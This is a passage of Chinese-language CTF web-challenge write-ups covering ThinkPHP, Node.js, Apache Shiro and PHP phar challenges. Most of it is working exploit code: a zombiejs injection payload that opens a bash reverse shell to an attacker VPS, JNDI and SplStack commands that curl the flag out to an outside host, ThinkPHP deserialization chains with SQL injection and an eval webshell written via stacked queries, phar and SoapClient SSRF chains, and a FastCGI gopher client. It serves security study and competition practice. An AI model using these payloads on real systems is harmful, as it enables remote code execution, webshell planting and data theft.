/api/files/:id处可以读取文件内容,但注意无法读取superuser用户的文件
在这里插入图片描述

再看到数据库文件,直接写着admin用户密码,同时存在flag文件信息,文件归属于superuser用户
也就是说无法直接读取生成的pdf文件和flag文件
在这里插入图片描述

那么根据以上信息,读取文件的思路应该为admin账户登陆后ssrf访问/api/files路由对files目录下的文件,在数据库中进行关联,再通过/api/files/:id进行读取
使用CVE-2019-15138打ssrf https://security.snyk.io/vuln/SNYK-JS-HTMLPDF-467248
在这里插入图片描述

使用数组绕过过滤
在这里插入图片描述

content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3D./flag%26checksum%3D123">

content[]=%3Cscript%3E%0Avar%20xhr%20%3D%20new%20XMLHttpRequest()%3Bxhr.open(%22GET%22%2C%20%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D.%2Fflag%26checksum%3D123%22%2C%20true)%3Bxhr.send()%3B%0A%3C%2Fscript%3E

在这里插入图片描述

再访问/api/files/123即可
在这里插入图片描述

[2021祥云杯]cralwer_z

关键词:逻辑漏洞替换恶意服务地址,zombiejs代码注入漏洞
注册登陆那没找到啥可利用的点,直接随便注册一个登录就行
User.js /profile路由那更新个人信息还有爬虫的功能
在这里插入图片描述

还有/bucket路由
在这里插入图片描述

查看utils.checkBucket(bucket)处理逻辑,协议必须为http(s)且必须包含oss-cn-beijing.ichunqiu.com
在这里插入图片描述

/profile路由这可以看到如果bucket地址符合规范,则跳转页面带着authToken去访问/user/verify,这时只是更新的是更新的personalBucket
在这里插入图片描述

Verify路由那如果token有效,且通过valid的值设置token仅能使用一次, 用过之后valid就会为false。这里再更新bucket 使用的为personalBucket的值
在这里插入图片描述

所以应该发两次包,一次正常地址获得token,另外一次恶意地址替换这个personalBucket
,再用正常包的token去/verify那验证,更新bucket

命令执行的话利用利用zombiejs代码注入漏洞https://ha.cker.in/index.php/Article/13563
先再vps上搭建个简易http服务器,放个test.html页面,使用最后拼接成的代码
在这里插入图片描述

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/vps/7777 0>&1'],);console.log(ls.output.toString());")()</script>

先用资料页面上的正常bucket地址发个包获得token,此时先不要跳转验证
在这里插入图片描述

复制一个包,Bucket那改为http://vps:7999/test.html#.oss-cn-beijing.ichunqiu.com/即可
在这里插入图片描述

发送完,这时bucket还没变,回到初始包,点击跟随302跳转的按钮
在这里插入图片描述

此时/user/bucket的地址已经修改为vps了
在这里插入图片描述

访问/user/bucket即可触发rce
在这里插入图片描述在这里插入图片描述

[红明谷CTF 2021]EasyTP

关键词:think PHP漏洞 SQL报错注入 堆叠注入
/www.zip下载源码,先查看控制器,存在反序列入口

在这里插入图片描述

查看ThinkPHP版本 搜索看看现成的链子ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
在这里插入图片描述

直接用文章的payload打

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => true,
            "database" => "test", // 可换成任一存在的库
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root" // BUU环境密码为root
        );
    }
}
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                //查看数据库名称
                // "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
                //数据库名称:'~information_schema,mysql,performance_schema,sys,test~'
                //一次能够读取的长度有限,分两次读取数据  使用mid函数分开读取

                //查表名
                // "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
                // ~flag,users~

                // 查列名
                //"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
                //~flag~

                //查字段值
                "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
                "where" => "1=1"
                
            );
        }
    }
}
namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

无回显用报错注入
在这里插入图片描述
在这里插入图片描述

利用mysql堆叠注入写shell

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    //读取本地文件~
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了~
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "test",//任意一个存在的数据库
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=1;select '<?php eval(\$_POST[1]);?>' into outfile '/var/www/html/shell.php';#",
                "where" => "1=1"
            );
        }
    }
}
namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));


    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_URL => "http://bcd0efea-1d63-43e5-abd8-d004a006567b.node4.buuoj.cn:81/index.php/Home/Index/test",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
        CURLOPT_HTTPHEADER => array(
            "Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
            "cache-control: no-cache"
        ),
    ));
    $response = curl_exec($curl);
    $err = curl_error($curl);
    curl_close($curl);
    if ($err) {
        echo "cURL Error #:" . $err;
    } else {
        echo $response;
    }
}

再用蚁剑自带的数据库连接器查询数据,配置这里地址不能用localhost会连不上
在这里插入图片描述在这里插入图片描述

也可以用rogue-mysql-server ,修改上面payload中的数据库配置 ,可以实现任意文件读取,但这里flag在数据库中

[SWPUCTF 2016]Web7

关键词:Python urllib HTTP头注入漏洞
Submit任意字符,直接报错 调用栈显示最后调用的urllib2模块
在这里插入图片描述

百度搜索到Python urllib HTTP头注入漏洞 由于漏洞版本有点旧 本地python没有复现成功,该漏洞利用换行符在http头中插入任意内容完成注入
在这里插入图片描述

https://tiaonmmn.github.io/2019/09/12/SWPUCTF-2016-Web7/

payload:

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/

直接submit提交改密码
然后管理员登陆那直接输入admin登录
在这里插入图片描述

[网鼎杯 2020 半决赛]BabyJS

关键词:ssrf 00截断 命令执行空格绕过
下载源码审计,先查看routes/index.js,可以看到直接访问的话会返回一个空的json
在这里插入图片描述

/debug路由存在主要逻辑。

GET请求:若访问ip在blacklist中即本地IP访问,就读取get参数中的url参数,去除其中的单引号和双引号,然后用nodejs的url.parse去解析。把解析后的url拼接到 echo '${url.parse(u).href}'>>/tmp/log 中执行。之后返回/tmp/log文件中的内容。这里可以用命令注入将flag文件内容写入到log文件中
在这里插入图片描述

POST请求:post若提交了url参数,则用url.parse解析,然后判断其中的主机名字段是否在blacklist中若不在其中,调用request函数使用GET方法请求url参数中所提交的url,返回请求的内容,可用于SSRF GET请求/debug路由
在这里插入图片描述

构造payload,使用cp命令把/flag直接复制到/tmp/log下,通过$IFS代替空格。在get /debug请求的实现里,还会过滤符号’、"。在url.js源代码里发现,执行函数url.parse(u).href时,对URL中表示用户名和密码的字段会被二次解码,所以可以将’符号编码后藏在pass字段以此绕过GET请求中的单双引号过滤,通过单引号闭合前面的命令。而后面的命令则使用%00截断。
黑名单中只过滤了127.0.0.1相关的回环地址,但实际上127.0.0.1到127.255.255.254都是回环地址
Paylaod:

{"url":"http://127.0.0.2:3000/debug?url=http://%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

在这里插入图片描述

[红明谷CTF 2021]JavaWeb

关键词:CVE-2020-11989(Apache Shiro 身份验证绕过漏洞,Java反序列化
访问/login会提示/json,再访问/json又会302返回/login,post一个数据模拟登录下
在这里插入图片描述

会提示登录失败,但返回包中set-cookie有rememberMe=deleteMe,可以确认是Shiro环境
利用CVE-2020-11989(Apache Shiro 身份验证绕过漏洞 POST访问 /;/json
在这里插入图片描述

可以看到是jackson平台
现成工具直接打试试

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://ip:7999 -File=@/flag' -A "ip"

在这里插入图片描述

["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://ip:1099/f5t3qu"}]

在这里插入图片描述

然后nc监听端口接收flag
在这里插入图片描述

[b01lers2020]Scrambled

关键词:python脚本
抓包可见set-cookie 有串奇怪的文字 根据transmissions猜测为隐藏信息
在这里插入图片描述

但不知道具体意义,重发包可见其中间部分会变化
在这里插入图片描述在这里插入图片描述

查找其规律,发现每次提供两位字符,并提供第二位字符在flag中的位置
在这里插入图片描述

#python3
#-*-coding=utf-8-*-open
import requests
from urllib.parse import unquote
import time

url = "http://57696281-e2fd-4829-9323-dfc8b5a6b1d7.node4.buuoj.cn:81/"
headers = {'Cookie': 'frequency=1; transmissions=kxkxkxkxshg%7B3kxkxkxkxsh'}
flag = ['*']*50

for i in range(100):
    r = requests.session().get(url,headers=headers)
    transmissions = unquote(requests.utils.dict_from_cookiejar(r.cookies)['transmissions']).replace('kxkxkxkxsh','')
    #print(transmissions)
    index = transmissions[2:]
    flag[int(index):int(index)+2] = transmissions[0:2]
    if i%30==0:
        time.sleep(2)
print(''.join(str(f) for f in flag))

在这里插入图片描述

[Windows][HITCON 2019]Buggy_Net

关键词:报错绕过黑名单检查
在这里插入图片描述

题目给了源码,C#写的。逻辑很简洁,先判断文件命是否有…防止目录穿越,如果没有则读取wwwroot目录下的文件内容并返回
在这里插入图片描述

如输入Default.txt则返回如下图
在这里插入图片描述

https://www.sigflag.at/blog/2019/writeup-hitconctf2019-buggy-dot-net/
https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#buggy-.net](hitconctf2019-buggy-dot-net/%29%20https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#buggy-.net)
通过报错使得isBad = false
在这里插入图片描述

发送GET请求

Content-Type: application/x-www-form-urlencoded

请求正文中提交的表单内容为

filename=%2E%2E%5C%2E%2E%5CFLAG.txt&o=%3Cx

在这里插入图片描述

[极客大挑战 2020]Roamphp4-Rceme

关键词:.index.php.swp,验证码爆破,异或绕过正则,无参rce
F12看到 Hint提示 <!-- Do you know vim swp? -->
Vim -r .index.php.swp恢复
在这里插入图片描述

过滤了^不能用异或但可以取反绕过,匹配到分号就执行命令

import hashlib
import urllib.parse as parse

def gethasheq(last):
    for i in range(3000005):
        kx = hashlib.md5(str(i).encode('UTF-8')).hexdigest()
        if (kx[:5] == last):
            return str(i)

def makeurl(last):
    ss = ""
    for each in last:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]"

if __name__ == '__main__':

    cmd = makeurl('system')+'('+makeurl('next')+'('+makeurl('getallheaders')+'())));'
    print(cmd)
    print(gethasheq('ae5df'))
system(pos(next(getallheaders())));

system(next(getallheaders()));

cmd=[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

在这里插入图片描述在这里插入图片描述

[SUCTF 2019]Upload Labs 2

关键词:SSRF,phar+Soapclient原生类反序列,FINFO_FILE触发phar,php://filter 绕过phar://过滤

根据给的链接查看源码
admin.php可以看到需要本地访问才能进入正确的逻辑
在这里插入图片描述

func.php调用file类的getMIME()函数查看文件类型,禁用了一些常见伪协议,主要是phar被禁用
在这里插入图片描述

getMIME()中使用了FINFO_FILE

finfo_file/finfo_buffer/mime_content_type
均通过_php_finfo_get_type间接调用了关键函数php_stream_open_wrapper_ex,导致均可以使用phar://触发
phar 反序列化
在这里插入图片描述

index.php也就是上传页面可以看到调用了Check类的check函数对文件内容检测
在这里插入图片描述

看到class.php,过滤了<?标签
在这里插入图片描述

思路是使用反序列化原生类SoapClient打ssrf通过crlf对admin.php发送post请求,<?标签使用<script language="php">形式绕过。
phar的绕过:

  1. 通过 php://filter 来绕过一些开头限制进行 phar://反序列化
  2. 通过xxe加载外部实体触发phar,config.php 中libxml_disable_entity_loader(true);禁用了加载外部实体的能力,但File类中使用ReflectionClass反射类加载实例化类,这里可以实例化SimpleXMLElement类进行xxe。
  3. 通过反射实例化Mysqli类,利用vps上Rogue Mysql的恶意服务进行phar https://www.vulnspy.com/cn-phpmyadmin-load-data-local-file-read-local-file/
    在这里插入图片描述
$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);

$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'ip','root','123456','test','3306');

$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');

exp如下:
通过 phar.php 生成 1.gif,通过上传页面上传得到路径。

在 rogue mysql 服务器上读取文件的位置使用 phar 协议读取
phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif

去 func.php 提交 php://filter/read=convert.base64-encode/resource=phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif

<?php
class File{
    public $file_name;
    public $type;
    public $func = "SoapClient";
    function __construct($file_name){
        $this->file_name = $file_name;
    }
}
$target = 'http://127.0.0.1/admin.php';
// $target = "http://106.14.153.173:2015";
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=xxx.xxx.xxx.xxx&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=xxx.xxx.xxx.xxx&port=xxxx';//ip&port为接收flag的监听端口 arg2[0]为rogue mysql地址
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    );
// $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri"      => "aaab"));
$arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri"      => "aaab"));
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "< language='php'>__HALT_COMPILER();</>"); //设置stub
$o = new File($arr);
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); 
    //签名自动计算
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>

不使用MySQLi触发的,利用SplStack,调用它的push方法,

<?php
class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct(){
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=1&cmd=curl "http://ip:7999"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='."\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'hello')
        ];
    }
}
$object = new File;
echo urlencode(serialize($object));
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->addFromString('1.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($object);
$phar->stopBuffering();

但是看出题人的出题笔记应该是预期为使用MySQL触发但使用了__destruct导致直接用php://filter就行
在这里插入图片描述

https://xz.aliyun.com/t/6057?page=5#toc-2

[网鼎杯 2020 总决赛]Game Exp

关键词:phar反序列化
审计代码发现两个命令/代码执行点
/login/register.php
在这里插入图片描述

/finger/index.php
在这里插入图片描述

对注册登录逻辑进行审计发现,对输入进行转义,设置白名单对头像上传的文件后缀以及文件类型限制为图片,上传的文件最终文件名以username.extension方式命名,sql注入不太可行
最后保存时使用file_exists检查filename是否存在,此文件函数可使用伪协议phar触发反序列化
在这里插入图片描述

/login/register.php处直接使用phar反序列化执行任意代码即可
exp:

<?php
class AnyClass{
    var $output = "eval(system('cat /flag.txt'));";
}
$a = new AnyClass();

$phar = new Phar('123.phar',0,'123.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');


$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

生成的phar文件后缀为gif,注册那上传文件注册,然后抓包,正常注册发一次包,第二次修改username为phar://username触发phar
在这里插入图片描述

/finger/index.php处,先改包修改分数为1000及以上
在这里插入图片描述在这里插入图片描述

本来想的是再使用注册那的phar反序列化,打原生类ssrf,然后发现没有合适的跳板,在对象中调用一个不可访问方法时,__call() 才会被调用,也就没法用SoapClient 类了

[SWPU2019]Web6

关键词:mysql中WITH ROLLUP null 绕过登录检查,PHP_SESSION_UPLOAD_PROGRESS
对登录进行抓包测试,若用户密码都不对即sql查询语句返回结果为0时,提示wrong username or password
在这里插入图片描述

若是使用万能密码,使得sql语句返回为1时,提示Wrong password
在这里插入图片描述

猜测其登录逻辑应该是取sql返回结果集中的passwd做了校验

if($key['passwd'] == $_POST['passwd'])

要使得两边相等除了sql注入出密码,还可使得两边均null
而mysql中WITH ROLLUP 对group by后的结果进行汇总时如果是不可加的数值若用户名等,则结果为null
在这里插入图片描述

使用having对结果进行限定即可

username=1' or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=

使得查询出来的密码与输入的密码都为空,程序判断比对一致即可成功登录
登录成功后有提示 method can useuser 看wp知道这里的method还可以传值hint
给出了一些文件名
在这里插入图片描述

然后也是看wp知道还有个wsdl.php,查看源码可以看见一些能用的method值,以及一个文件名
在这里插入图片描述在这里插入图片描述

File_read那可以读取文件内容
在这里插入图片描述

再读一下之前hint处给出的文件名
index.php
在这里插入图片描述

先访问method=get_flag提示只有admin在本地能够访问
主要逻辑应该在Service.php内,但权限不足无法读取,读取encode.php
在这里插入图片描述

不知道加密啥的,写出逆向解码程序尝试对cookie解码,得到解码的用户名,直接用en_crypt伪造admin
在这里插入图片描述在这里插入图片描述

伪造得到的cookie为xZmdm9NxaQ==
替换cookie后即可读取se.php,interface.php,但Service.php仍然不可读

#se.php
<?php
ini_set('session.serialize_handler', 'php');
class aa{
        public $mod1;
        public $mod2;
        public function __call($name,$param){
            if($this->{$name}){
                    $s1 = $this->{$name};
                    $s1();
                }
        }
        public function __get($ke){
            return $this->mod2[$ke];
        }
}
class bb{
        public $mod1;
        public $mod2;
        public function __destruct(){
            $this->mod1->test2();
        }
} 
class cc{
        public $mod1;
        public $mod2;
        public $mod3;
        public function __invoke(){
                $this->mod2 = $this->mod3.$this->mod1;
        } 
}
class dd{
        public $name;
        public $flag;
        public $b; 
        public function getflag(){
                session_start(); 
                var_dump($_SESSION);
                $a = array(reset($_SESSION),$this->flag);
                echo call_user_func($this->b,$a);
        }
}
class ee{
        public $str1;
        public $str2;
        public function __toString(){
                $this->str1->{$this->str2}();
                return "1";
        }
}
$a = $_POST['aa'];
unserialize($a);
?>

interface.php中的内容,可以用SoapClient打ssrf,对get_flag进行调用
在这里插入图片描述

se.php的反序列化链构造比较简单,最终是为了调用getflag函数
在这里插入图片描述

这里猜测method=get_flag是调用Service.php当中的Get_flag函数,那就在这用call_user_func调用该函数,但需要本地访问,而这里在调用函数前是启动了session,那就能利用php session的反序列化进行ssrf本地调用该函数
利用session.upload_progress进行反序列化 简单来说就是利用PHP_SESSION_UPLOAD_PROGRESS上传文件时 会将PHP_SESSION_UPLOAD_PROGRESS的值写入session文件中,构造恶意的序列化语句写入后便可利用session反序列化完成ssrf

<?php
class aa
{
        public $mod1;
        public $mod2;
}
class bb
{
        public $mod1;
        public $mod2;
} 

class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
}

class dd
{
        public $name;
        public $flag;
        public $b;
}
class ee
{
        public $str1;
        public $str2;
}

$bb = new bb();
$aa = new aa();
$cc = new cc();
$ee = new ee();
$bb ->mod1 = $aa;
$cc -> mod1 = $ee;
$dd = new dd();
$dd->flag='Get_flag';
$dd->b='call_user_func';
$ee -> str1 = $dd;
$ee -> str2 = "getflag";
$aa ->mod2['test2'] = $cc;
echo serialize($bb);
<?php

$target = 'http://127.0.0.1/interface.php';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: user=xZmdm9NxaQ==',
);
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'wupco^^' . join('^^', $headers), 'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
echo $aaa;
<html>
<body>
    <form action="http://2bb5fbee-f331-4a5a-9766-b3b6f9eef654.node4.buuoj.cn:81/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>

提交任意文件,然后修改value的值,并加上Cookie: PHPSESSID=test2; 这个值可以任意但要与后面访问se.php的PHPSESSID值相同,在生成的payload前加上 | 以触发反序列化
在这里插入图片描述

然后带着session访问se.php提交payload即可
在这里插入图片描述

[NCTF2019]phar matches everything

关键词:phar,ssrf+gopher打fpm

<?php
#catchmime.php
class Easytest{
    protected $test = '1';
}
class Main {
    public $url = "file:///proc/net/arp";
}

$a = new Easytest();
echo urlencode(serialize($a))."\n";

$b = new Main();
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('1.phar');
$phar -> startBuffering();
$phar -> setStub($png_header.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($b);
$phar -> stopBuffering();
rename("1.phar","1.png");
?>

直接读flag读不到,读取/etc/hosts以及/proc/net/arp
/proc/net/arp获得靶机的内网IP地址,对内网主机进行探测
在这里插入图片描述

按道理这个ip我修改exp里的url用http访问可以得到主页的内容但是并没有,我这里也没有找到内网主机的IP地址,就找到个开着iis的可能环境出问题了,按照wp过一遍
根据isrc的代码可知,要结合gopher协议打FPM
嫖了个python3可用的脚本

// gopher.py
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
import requests
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
    def gopher(self, nameValuePairs={}, post=''):
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
